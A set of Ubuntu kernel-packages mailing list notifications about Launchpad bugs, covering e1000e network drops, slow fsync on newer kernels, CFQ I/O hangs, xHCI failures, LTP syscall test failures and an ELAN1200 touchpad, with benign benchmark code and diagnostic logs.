This bug is missing log files that will aid in diagnosing the problem. While running an Ubuntu kernel (not a mainline or third-party kernel) please enter the following command in a terminal window: apport-collect 1785171 and then change the status of the bug to 'Confirmed'. If, due to the nature of the issue you have encountered, you are unable to run this command, please add a comment stating that fact and change the bug status to 'Confirmed'. This change has been made by an automated script, maintained by the Ubuntu Kernel Team. ** Changed in: linux (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1785171 Title: Intel I219-V Ethernet Interface on Ubuntu Linux Using e1000e Driver keeps Dropping Internet Connection Status in linux package in Ubuntu: Incomplete Bug description: I've turned up many, many new server and workstation systems over the years on both Linux and Windows. Never seen anything like this behaviour I'm witnessing on Ubuntu Server 18.04 before where I simply lose Internet connectivity while using a browser. Ethernet interfaces usually either work or they don't work. I've configured the Intel I219-V Ethernet interface (wired Ethernet connection, there is no wifi on this system) using the e1000e driver for Ubuntu. The Ethernet connection is configured to use NetworkManager via Netplan on Ubuntu 18.04 LTS Server version. ASRock Z370m Pro4 motherboard. The Ethernet interface will drop the Internet connectivity when I'm using either the Firefox or Chrome browser. It usually happens when I'm using the search features of the browser. I can't figure out what would cause this type of behaviour. When the Internet connection drops, the only way to get back Internet connectivity is to disconnect the wired connection using the Ubuntu features and then re-connect (this restarts the NetworkManager service I notice). In the NetworkManager logs I do notice an "auth" error about a file or directory not found. I've never seen that before. Note: The auth error does not coincide with the loss of Internet connectivity, but it does proceed it. Often there can be many hours between the auth error and the actual loss of Internet connectivity. After I reconnect the connection (via re-starting the NetworkManager service) all will be fine for up to a day or so, but then I stress test it with a bunch of searches using the browser and usually I can get the Internet connectivity to drop again. Repeat the disconnect and reconnect process again (aka re-start NetworkManager) and the Internet connectivity will be fine again. The longest I've seen it go without an "Internet connectivity drop" issue is about 36 hours. I notice that the e1000e driver does not list the I219-V as a supported Ethernet interface in the Intel documentation for the Linux version of the driver. I'm not sure why that is. The I219-V is supposed to used another driver, but it's not clear there's a Linux version for of the driver for the I219-V. I'm really disappointed that I've run into this issue with Ubuntu Server LTS 18.04 on this motherboard. I had CentOS Server 7.4 (my standard server OS, a great Linux distro) on this same motherboard for a week with no issues, so I know the motherboard and the I219-V Ethernet interface are 100% good hardware wise and can work properly. CentOS 7.4 uses NetworkManager as the default for managing the Ethernet interface. The only reason I'm using Ubuntu Server 18.04 on this motherboard is because of a specific package that Ubuntu has a newer packaged version than CentOS. CentOS is extremely stable when it comes to basic server functionality. Hopefully, this bug with the I219-V Ethernet interface using the e1000e drive for Linux can be verified and a fix rolled out. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1785171/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1785020] Re: fsync is slow on later kernels with ext4 filesystms
Would it be possible for you to test the latest upstream kernel? Refer to https://wiki.ubuntu.com/KernelMainlineBuilds . Please test the latest v4.18 kernel[0]. If this bug is fixed in the mainline kernel, please add the following tag 'kernel-fixed-upstream'. If the mainline kernel does not fix this bug, please add the tag: 'kernel-bug-exists-upstream'. Once testing of the upstream kernel is complete, please mark this bug as "Confirmed". Thanks in advance. [0] http://kernel.ubuntu.com/~kernel-ppa/mainline/v4.18-rc7 ** Changed in: linux (Ubuntu) Importance: Undecided => Medium ** Changed in: linux (Ubuntu) Status: Confirmed => Incomplete -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1785020 Title: fsync is slow on later kernels with ext4 filesystms Status in linux package in Ubuntu: Incomplete Bug description: So this is a simple one, if I run the following code (see below) on Ubuntu 18.04 (4.15.0-29-generic ) and against Ubuntu 16.04 ( 4.4.0-87-generic) I get two different results ; The question is why? It seems that fsync may be broken in the latest kernel and may well be broken as early as 4.10 ? This has huge implications around performance sensitive applications like mysql. It also so worth noting that I'm running this against an ext4 filesystem with the following mount options rw,noatime,nodiratime,nobarrier,data=journal 4.4.0-87-generic - # time ./fsync real 0m7.537s <- user 0m0.000s sys 0m1.060s <- 4.15.0-29-generic - # time ./fsync real 1m38.299s <- user 0m0.013s sys 0m0.893s <- Linux buntu-1804 4.15.0-29-generic no sync() seconds:0.024438 writes per second:0.00 sync() seconds:1.705764 writes per second:0.00 real3m6.475s user0m0.006s sys 0m1.725s Linux ubuntu 4.4.0-87-generic no sync() seconds:0.012887 writes per second:0.01 sync() seconds:0.736563 writes per second:0.00 real0m8.945s user0m0.016s sys 0m0.732s #!/usr/bin/python import os, sys, mmap # Open a file fd = os.open( "/a/testfile", os.O_RDWR|os.O_CREAT|os.O_DIRECT ) m = mmap.mmap(-1, 512) for i in range (1,1): os.lseek(fd,os.SEEK_SET,0) m[1] = "1" os.write(fd, m) os.fsync(fd) # Close opened file os.close( fd ) #define _GNU_SOURCE #include #include #include #include void withSync() { int f = open( "/a/t8" , O_RDWR | O_CREAT |O_DIRECT ); lseek (f, 0, SEEK_SET ); int records = 10*1000; clock_t ustart = clock(); for(int i = 0; i < records; i++) { write(f, "012345678901234567890123456789" , 30); fsync(f); } clock_t uend = clock(); close (f); printf(" sync() seconds:%lf writes per second:%lf\n", ((double)(uend-ustart))/(CLOCKS_PER_SEC), ((double)records)/((double)(uend-ustart))/(CLOCKS_PER_SEC)); } void withoutSync() { int f = open( "/a/t10" , O_RDWR | O_CREAT | O_DIRECT ); lseek (f, 0, SEEK_SET ); int records = 10*1000; clock_t ustart = clock(); for(int i = 0; i < records; i++) { write(f, "012345678901234567890123456789" , 30 ); } clock_t uend = clock(); close (f); printf("no sync() seconds:%lf writes per second:%lf \n", ((double)(uend-ustart))/(CLOCKS_PER_SEC), ((double)records)/((double)(uend-ustart))/(CLOCKS_PER_SEC)); } int main(int argc, const char * argv[]) { withoutSync(); withSync(); return 0; } Linux buntu-1804 4.15.0-29-generic no sync() seconds:0.024438 writes per second:0.00 sync() seconds:1.705764 writes per second:0.00 real3m6.475s user0m0.006s sys 0m1.725s Linux ubuntu 4.4.0-87-generic no sync() seconds:0.012887 writes per second:0.01 sync() seconds:0.736563 writes per second:0.00 real 0m8.945s user0m0.016s sys 0m0.732s To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1785020/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1709889] Re: Ubuntu 17.04: Bug in cfq scheduler, I/Os do not get submitted to adapter for a very long time.
Updated bug description and added Bionic bug task. Marked bug 1785081 as a duplicate of this bug. ** Also affects: linux (Ubuntu Bionic) Importance: Undecided Status: New ** Changed in: linux (Ubuntu Bionic) Status: New => Triaged ** Changed in: linux (Ubuntu Bionic) Importance: Undecided => Critical ** Tags added: kernel-da-key ** Summary changed: - Ubuntu 17.04: Bug in cfq scheduler, I/Os do not get submitted to adapter for a very long time. + Ubuntu 18.04: Bug in cfq scheduler, I/Os do not get submitted to adapter for a very long time. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1709889 Title: Ubuntu 18.04: Bug in cfq scheduler, I/Os do not get submitted to adapter for a very long time. Status in Linux: Unknown Status in The Ubuntu-power-systems project: New Status in linux package in Ubuntu: New Status in linux source package in Zesty: Won't Fix Status in linux source package in Bionic: Triaged Bug description: ---Problem Description--- When running stress test, sometimes seeing IO hung in dmesg or seeing "Host adapter abort request" error. ---Steps to Reproduce--- There are two ways to re-create the issues: (1)running HTX, you will see IO timeout backtrace in dmesg in several hours (2)running some IO test, then reboot system, repeat this two steps, it takes long time to re-create the issue. ---uname output--- 4.10.0-11-generic The bulk of the effort for this issue is currently being worked in MicroSemi's JIRA https://jira.pmcs.com/browse/ESDIBMOP-133. Ran an interesting test: Ran HTX until I started getting the "stall" messages on the console, then shutdown HTX and examined the I/O counters for the tested disks in sysfs: root@bostonp15:~# for i in /sys/devices/pci0003:00/0003:00:00.0/0003:01:00.0/host0/target0:2:[2345]/0:2:[2345]:0; do echo ${i##*/} $(<${i}/iorequest_cnt) $(<${i}/iodone_cnt); done 0:2:2:0 0x5eba3d 0x5eba3d 0:2:3:0 0x773cc9 0x773cc9 0:2:4:0 0x782c61 0x782c61 0:2:5:0 0x5ca134 0x5ca134 root@bostonp15:~# So, none of the disks showed any evidence of having lost an I/O. I then restarted HTX and aside from having to manually restart one of the disks, see no problems with the testing. It appears that what was "hung" was purely in userland. This does not absolve the kernel or aacraid driver from blame, but it shows that the OS "believes" that it completed the I/O and thus removed it from the queue. What we don't know is whether the OS truly notified HTX about the completion, or if HTX (or userland libraries) just failed to process the notification. Tests are running again, will see what happens next. Update from JIRA: I have run some more experiments. Not sure what it tells us, but here's what I've seen. First test, ran until I got kernel messages about stalled tasks, then shutdown HTX. After HTX was down, I checked the above mentioned counters and found that on each disk iorequest_cnt matched iodone_cnt. The disks were usable and I could restart HTX. This suggests that the problem is not in the PM8069 firmware, and makes the case for the aacraid driver having a bug somewhat weaker. However, this merely says that the driver "completed" the I/O as far as the kernel is concerned, not that a completion rippled back to the application. I restarted HTX and have run until errors. This time, I am leaving HTX running and observing. Two of the disks reached the HTX error threshold and the testers stopped (those 2 disks are now idle). Another disks saw errors but then stopped and appears to be running fine now. The last disk has not seen any errors (yet). On the two idle (errored-out) disks I see iorequest_cnt matches iodone_cnt. I am able to "terminate and restart" the two idle disks and HTX appears to be testing them again "normally". Note that no reboot was required, further supporting the evidence that, as far as the kernel is concerned, there is nothing wrong with the disks and their I/O paths. So, I don't believe this completely eliminates aacraid from the picture, especially given we don't see this behavior on other systems/drivers. But, it probably moves the focus of the investigation away form the adapter firmware. Tried build upstream 4.11 kernel on Ubuntu. This still gets the hangs. Both Ubuntu 4.10 and upstream 4.11 have aacraid driver 1.2.1[50792]-custom. Good new/bad news... While doing an initial evaluation of the LSI-3008 SAS HBA on Boston and Ubuntu 17.04, I am hitting this same problem. So, it appears to have nothing specific to do with the PM8069 or aacraid driver. Some notes on reproduce this. I have been using the github release of HTX, built using the following steps: 1. apt install make gcc g++ git libncurses5-dev libcxl-dev libdapl-dev (others may be required) 2. gi
[Kernel-packages] [Bug 1785081] Re: [Ubuntu180401][bostonlc] HTX IO hung error with Watchdog CPU:95 Hard LOCKUP trace messages (LSI9361/mpt3sas)
*** This bug is a duplicate of bug 1709889 *** https://bugs.launchpad.net/bugs/1709889 ** This bug has been marked a duplicate of bug 1709889 Ubuntu 17.04: Bug in cfq scheduler, I/Os do not get submitted to adapter for a very long time. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1785081 Title: [Ubuntu180401][bostonlc] HTX IO hung error with Watchdog CPU:95 Hard LOCKUP trace messages (LSI9361/mpt3sas) Status in The Ubuntu-power-systems project: Triaged Status in linux package in Ubuntu: New Bug description: == Comment: #7 - Frederic Bonnard - 2018-08-01 09:55:26 == Mirroring this bug so that https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1709889 can be updated To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-power-systems/+bug/1785081/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784921] Re: xHCI host controller not responding, assume dead
*** This bug is a duplicate of bug 1763594 *** https://bugs.launchpad.net/bugs/1763594 ** This bug has been marked a duplicate of bug 1763594 xhci hangs; reset results in NULL pointer dereference -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1784921 Title: xHCI host controller not responding, assume dead Status in linux package in Ubuntu: Incomplete Bug description: Hello, I see this message that appear : xHCI host controller not responding, assume dead HC died; cleaning up There is a patch available that is included in 4.18 but it would be nice, if it's possible, if it could be included in current Ubuntu kernel. Here is the patch : https://patchwork.kernel.org/patch/10479909/ Commit to 4.18 : https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?h=v4.18-rc4&id=229bc19fd7aca4f37964af06e3583c1c8f36b5d6 Note that it looks like it depends on commit bcaa9d5c5900 ("xhci: Create new structures to store xhci port information") at least, which is a non-trivial patch. There is more infos here : https://bugzilla.redhat.com/show_bug.cgi?id=1597333 https://bbs.archlinux.org/viewtopic.php?id=236536 Thanks ! To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1784921/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1785171] Re: Intel I219-V Ethernet Interface on Ubuntu Linux Using e1000e Driver keeps Dropping Internet Connection
** Package changed: ubuntu => linux (Ubuntu) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1785171 Title: Intel I219-V Ethernet Interface on Ubuntu Linux Using e1000e Driver keeps Dropping Internet Connection Status in linux package in Ubuntu: Incomplete Bug description: I've turned up many, many new server and workstation systems over the years on both Linux and Windows. Never seen anything like this behaviour I'm witnessing on Ubuntu Server 18.04 before where I simply lose Internet connectivity while using a browser. Ethernet interfaces usually either work or they don't work. I've configured the Intel I219-V Ethernet interface (wired Ethernet connection, there is no wifi on this system) using the e1000e driver for Ubuntu. The Ethernet connection is configured to use NetworkManager via Netplan on Ubuntu 18.04 LTS Server version. ASRock Z370m Pro4 motherboard. The Ethernet interface will drop the Internet connectivity when I'm using either the Firefox or Chrome browser. It usually happens when I'm using the search features of the browser. I can't figure out what would cause this type of behaviour. When the Internet connection drops, the only way to get back Internet connectivity is to disconnect the wired connection using the Ubuntu features and then re-connect (this restarts the NetworkManager service I notice). In the NetworkManager logs I do notice an "auth" error about a file or directory not found. I've never seen that before. Note: The auth error does not coincide with the loss of Internet connectivity, but it does proceed it. Often there can be many hours between the auth error and the actual loss of Internet connectivity. After I reconnect the connection (via re-starting the NetworkManager service) all will be fine for up to a day or so, but then I stress test it with a bunch of searches using the browser and usually I can get the Internet connectivity to drop again. Repeat the disconnect and reconnect process again (aka re-start NetworkManager) and the Internet connectivity will be fine again. The longest I've seen it go without an "Internet connectivity drop" issue is about 36 hours. I notice that the e1000e driver does not list the I219-V as a supported Ethernet interface in the Intel documentation for the Linux version of the driver. I'm not sure why that is. The I219-V is supposed to used another driver, but it's not clear there's a Linux version for of the driver for the I219-V. I'm really disappointed that I've run into this issue with Ubuntu Server LTS 18.04 on this motherboard. I had CentOS Server 7.4 (my standard server OS, a great Linux distro) on this same motherboard for a week with no issues, so I know the motherboard and the I219-V Ethernet interface are 100% good hardware wise and can work properly. CentOS 7.4 uses NetworkManager as the default for managing the Ethernet interface. The only reason I'm using Ubuntu Server 18.04 on this motherboard is because of a specific package that Ubuntu has a newer packaged version than CentOS. CentOS is extremely stable when it comes to basic server functionality. Hopefully, this bug with the I219-V Ethernet interface using the e1000e drive for Linux can be verified and a fix rolled out. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1785171/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1785204] Re: keyctl06.c in ubuntu_ltp_syscall failed with Trusty
** Changed in: linux (Ubuntu) Importance: Undecided => Medium ** Changed in: linux (Ubuntu) Status: Confirmed => Triaged -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1785204 Title: keyctl06.c in ubuntu_ltp_syscall failed with Trusty Status in linux package in Ubuntu: Triaged Bug description: <<>> tag=keyctl06 stime=1533289300 cmdline="keyctl06" contacts="" analysis=exit <<>> tst_test.c:1018: INFO: Timeout per run is 0h 05m 00s incrementing stop keyctl06.c:64: FAIL: KEYCTL_READ overran the buffer Summary: passed 0 failed 0 skipped 0 warnings 0 ProblemType: Bug DistroRelease: Ubuntu 14.04 Package: linux-image-3.13.0-153-generic 3.13.0-153.203 ProcVersionSignature: User Name 3.13.0-153.203-generic 3.13.11-ckt39 Uname: Linux 3.13.0-153-generic x86_64 AlsaDevices: total 0 crw-rw 1 root audio 116, 1 Aug 3 07:50 seq crw-rw 1 root audio 116, 33 Aug 3 07:50 timer AplayDevices: Error: [Errno 2] No such file or directory: 'aplay' ApportVersion: 2.14.1-0ubuntu3.29 Architecture: amd64 ArecordDevices: Error: [Errno 2] No such file or directory: 'arecord' AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: Date: Fri Aug 3 09:33:26 2018 IwConfig: Error: [Errno 2] No such file or directory: 'iwconfig' Lsusb: Bus 001 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub MachineType: QEMU Standard PC (i440FX + PIIX, 1996) PciMultimedia: ProcFB: ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-3.13.0-153-generic root=UUID=41f2a2b1-0082-4a56-ad3b-9f99ca574aeb ro RelatedPackageVersions: linux-restricted-modules-3.13.0-153-generic N/A linux-backports-modules-3.13.0-153-generic N/A linux-firmware 1.127.24 RfKill: Error: [Errno 2] No such file or directory: 'rfkill' SourcePackage: linux UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 04/01/2014 dmi.bios.vendor: SeaBIOS dmi.bios.version: Ubuntu-1.8.2-1ubuntu1 dmi.chassis.type: 1 dmi.chassis.vendor: QEMU dmi.chassis.version: pc-i440fx-xenial dmi.modalias: dmi:bvnSeaBIOS:bvrUbuntu-1.8.2-1ubuntu1:bd04/01/2014:svnQEMU:pnStandardPC(i440FX+PIIX,1996):pvrpc-i440fx-xenial:cvnQEMU:ct1:cvrpc-i440fx-xenial: dmi.product.name: Standard PC (i440FX + PIIX, 1996) dmi.product.version: pc-i440fx-xenial dmi.sys.vendor: QEMU To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1785204/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1785207] Re: openat03 in ubuntu_ltp_syscall failed with Trusty
** Changed in: linux (Ubuntu) Importance: Undecided => Medium ** Changed in: linux (Ubuntu) Status: Confirmed => Triaged -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1785207 Title: openat03 in ubuntu_ltp_syscall failed with Trusty Status in linux package in Ubuntu: Triaged Bug description: <<>> tag=openat03 stime=1533289807 cmdline="openat03" contacts="" analysis=exit <<>> openat030 TINFO : creating a file with O_TMPFILE flag incrementing stop openat030 TINFO : writing data to the file openat030 TINFO : file size is '4096' openat030 TINFO : looking for the file in '.' openat030 TINFO : file not found, OK openat030 TINFO : renaming '/tmp/ltp-5saSOZV2Gx/opea7u155/#286254 (deleted)' -> 'tmpfile' openat030 TINFO : found a file: tmpfile openat031 TPASS : single file tests passed openat030 TINFO : create files in multiple directories openat030 TINFO : removing test directories openat030 TINFO : writing/reading temporary files openat030 TINFO : closing temporary files openat032 TPASS : multiple files tests passed openat030 TINFO : create multiple directories, link files into them openat030 TINFO : and check file permissions openat033 TFAIL : openat03.c:223: file mode read 0, but expected <<>> initiation_status="ok" duration=0 termination_type=exited termination_id=1 corefile=no cutime=0 cstime=0 <<>> ProblemType: Bug DistroRelease: Ubuntu 14.04 Package: linux-image-3.13.0-153-generic 3.13.0-153.203 ProcVersionSignature: User Name 3.13.0-153.203-generic 3.13.11-ckt39 Uname: Linux 3.13.0-153-generic x86_64 AlsaDevices: total 0 crw-rw 1 root audio 116, 1 Aug 3 07:50 seq crw-rw 1 root audio 116, 33 Aug 3 07:50 timer AplayDevices: Error: [Errno 2] No such file or directory: 'aplay' ApportVersion: 2.14.1-0ubuntu3.29 Architecture: amd64 ArecordDevices: Error: [Errno 2] No such file or directory: 'arecord' AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: Date: Fri Aug 3 09:49:41 2018 IwConfig: Error: [Errno 2] No such file or directory: 'iwconfig' Lsusb: Bus 001 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub MachineType: QEMU Standard PC (i440FX + PIIX, 1996) PciMultimedia: ProcFB: ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-3.13.0-153-generic root=UUID=41f2a2b1-0082-4a56-ad3b-9f99ca574aeb ro RelatedPackageVersions: linux-restricted-modules-3.13.0-153-generic N/A linux-backports-modules-3.13.0-153-generic N/A linux-firmware 1.127.24 RfKill: Error: [Errno 2] No such file or directory: 'rfkill' SourcePackage: linux UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 04/01/2014 dmi.bios.vendor: SeaBIOS dmi.bios.version: Ubuntu-1.8.2-1ubuntu1 dmi.chassis.type: 1 dmi.chassis.vendor: QEMU dmi.chassis.version: pc-i440fx-xenial dmi.modalias: dmi:bvnSeaBIOS:bvrUbuntu-1.8.2-1ubuntu1:bd04/01/2014:svnQEMU:pnStandardPC(i440FX+PIIX,1996):pvrpc-i440fx-xenial:cvnQEMU:ct1:cvrpc-i440fx-xenial: dmi.product.name: Standard PC (i440FX + PIIX, 1996) dmi.product.version: pc-i440fx-xenial dmi.sys.vendor: QEMU To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1785207/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1785198] Re: mkfs.vfat is causing failure on fallocate05 / fsync01 / msync04 / preadv03 / pwritev03 / setxattr01 tests in ubuntu_ltp_syscall on Trusty
** Changed in: linux (Ubuntu) Importance: Undecided => Medium ** Changed in: linux (Ubuntu) Status: Confirmed => Triaged -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1785198 Title: mkfs.vfat is causing failure on fallocate05 / fsync01 / msync04 / preadv03 / pwritev03 / setxattr01 tests in ubuntu_ltp_syscall on Trusty Status in linux package in Ubuntu: Triaged Bug description: This test failed due to: mkfs.vfat: /dev/loop0 contains a mounted filesystem. tst_mkfs.c:94: BROK: mkfs.vfat:1: tst_test.c failed with 732 fallocate05 / fsync01 / msync04 / preadv03 / preadv03_64 / pwritev03 / pwrite03_64 / setxattr01 are failing with the same issue. The mkfs.vfat command only works once for the first test. So if you run the same test case (e.g. msync04) on a recently rebooted system, it will pass for the first run. <<>> tag=fallocate05 stime=1533288629 cmdline="fallocate05" contacts="" analysis=exit <<>> tst_device.c:230: INFO: Using test device LTP_DEV='/dev/loop0' incrementing stop tst_supported_fs_types.c:72: INFO: Kernel supports ext2 tst_supported_fs_types.c:56: INFO: mkfs.ext2 does exist tst_supported_fs_types.c:72: INFO: Kernel supports ext3 tst_supported_fs_types.c:56: INFO: mkfs.ext3 does exist tst_supported_fs_types.c:72: INFO: Kernel supports ext4 tst_supported_fs_types.c:56: INFO: mkfs.ext4 does exist tst_supported_fs_types.c:72: INFO: Kernel supports xfs tst_supported_fs_types.c:56: INFO: mkfs.xfs does exist tst_supported_fs_types.c:72: INFO: Kernel supports btrfs tst_supported_fs_types.c:52: INFO: mkfs.btrfs does not exist tst_supported_fs_types.c:72: INFO: Kernel supports vfat tst_supported_fs_types.c:56: INFO: mkfs.vfat does exist tst_supported_fs_types.c:95: INFO: Filesystem exfat is not supported tst_supported_fs_types.c:72: INFO: Kernel supports ntfs tst_supported_fs_types.c:56: INFO: mkfs.ntfs does exist tst_test.c:1079: INFO: Testing on ext2 tst_mkfs.c:83: INFO: Formatting /dev/loop0 with ext2 opts='' extra opts='' mke2fs 1.42.9 (4-Feb-2014) tst_test.c:1018: INFO: Timeout per run is 0h 05m 00s fallocate05.c:46: CONF: fallocate() not supported: EOPNOTSUPP tst_test.c:1079: INFO: Testing on ext3 tst_mkfs.c:83: INFO: Formatting /dev/loop0 with ext3 opts='' extra opts='' mke2fs 1.42.9 (4-Feb-2014) tst_test.c:1018: INFO: Timeout per run is 0h 05m 00s fallocate05.c:46: CONF: fallocate() not supported: EOPNOTSUPP tst_test.c:1079: INFO: Testing on ext4 tst_mkfs.c:83: INFO: Formatting /dev/loop0 with ext4 opts='' extra opts='' mke2fs 1.42.9 (4-Feb-2014) tst_test.c:1018: INFO: Timeout per run is 0h 05m 00s tst_fill_fs.c:41: INFO: Creating file mntpoint/file0 size 21710183 tst_fill_fs.c:41: INFO: Creating file mntpoint/file1 size 8070086 tst_fill_fs.c:41: INFO: Creating file mntpoint/file2 size 3971177 tst_fill_fs.c:41: INFO: Creating file mntpoint/file3 size 36915315 tst_fill_fs.c:41: INFO: Creating file mntpoint/file4 size 70310993 tst_fill_fs.c:41: INFO: Creating file mntpoint/file5 size 4807935 tst_fill_fs.c:41: INFO: Creating file mntpoint/file6 size 90739786 tst_fill_fs.c:41: INFO: Creating file mntpoint/file7 size 76896492 tst_fill_fs.c:61: INFO: write(): ENOSPC fallocate05.c:62: PASS: write() wrote 8192 bytes fallocate05.c:71: PASS: fallocate() on full FS: ENOSPC fallocate05.c:80: PASS: fallocate(FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE) fallocate05.c:86: PASS: write() tst_test.c:1079: INFO: Testing on xfs tst_mkfs.c:83: INFO: Formatting /dev/loop0 with xfs opts='' extra opts='' tst_test.c:1018: INFO: Timeout per run is 0h 05m 00s tst_fill_fs.c:41: INFO: Creating file mntpoint/file0 size 21710183 tst_fill_fs.c:41: INFO: Creating file mntpoint/file1 size 8070086 tst_fill_fs.c:41: INFO: Creating file mntpoint/file2 size 3971177 tst_fill_fs.c:41: INFO: Creating file mntpoint/file3 size 36915315 tst_fill_fs.c:41: INFO: Creating file mntpoint/file4 size 70310993 tst_fill_fs.c:41: INFO: Creating file mntpoint/file5 size 4807935 tst_fill_fs.c:41: INFO: Creating file mntpoint/file6 size 90739786 tst_fill_fs.c:41: INFO: Creating file mntpoint/file7 size 76896492 tst_fill_fs.c:61: INFO: write(): ENOSPC fallocate05.c:62: PASS: write() wrote 8192 bytes fallocate05.c:71: PASS: fallocate() on full FS: ENOSPC fallocate05.c:80: PASS: fallocate(FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE) fallocate05.c:86: PASS: write() tst_test.c:1079: INFO: Testing on vfat tst_mkfs.c:83: INFO: Formatting /dev/loop0 with vfat opts='' extra opts='' mkfs.vfat: /dev/loop0 contains a mounted filesystem. tst_mkfs.c:94: BROK: mkfs.vfat:1: tst_test.c failed with 732 Summary: passed 8 failed 0 skipped 2 warnings 0 <<>> initiation_status="ok" duration=8 termination_type=exited termination_id=2 corefile=no cutime=6 cstime
[Kernel-packages] [Bug 1778087] Re: ELAN1200 touchpad jumps around and disconnects
You might be right! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1778087 Title: ELAN1200 touchpad jumps around and disconnects Status in linux package in Ubuntu: Confirmed Bug description: This is on an ASUS GL503VD laptop and would probably affect other ASUS laptops equipped with the ELAN1200 touchpad. I am on Kernel 4.17.2 because older kernels did not enable the touchpad at all(It was just unrecognized or i2c-hid stopped the computer from booting) The touchpad works but it has erratic behaviour and disconnects randomly. After it disconnects the only way to bring it back is to `modprobe -r hid-multitouch && modprobe hid-multitouch` Libinput and synaptics can handle the touchpad though I found synaptics to be more stable. dmesg gets spammed with this whenever I move the touchpad: [timestamp] i2c_hid i2c-ELAN1200:00: i2c_hid_get_input: incomplete report (16/65535) I tried to compile: https://github.com/mishurov/linux_elan1200_touchpad Because from what I understand the "jumpy/disconnect" problem is associated to the incomplete reports and Mishurov managed to mitigate those. Unfortunately some symbols were deprecated in kernel 4.17.2 and it did not compile for my system. While I can use my touchpad as is right now, and "restart" it with modprobe when needed, it would be nice to have it function bug-free. (Right after I typed this my touchpad disconnected and I needed to modprobe again, I am considering making a cronjob for that) Let me know if anything else is needed. Will wait for an apport collection to add log files. --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-10 (11 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) NonfreeKernelModules: nvidia_modeset nvidia Package: linux (not installed) ProcEnviron: TERM=screen PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_CA.UTF-8 SHELL=/bin/bash Tags: bionic Uname: Linux 4.17.2 x86_64 UnreportableReason: The running kernel is not an Ubuntu kernel UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: _MarkForUpload: True To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1778087/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1785209] Re: shmctl05 in ubuntu_ltp_syscall failed with Trusty
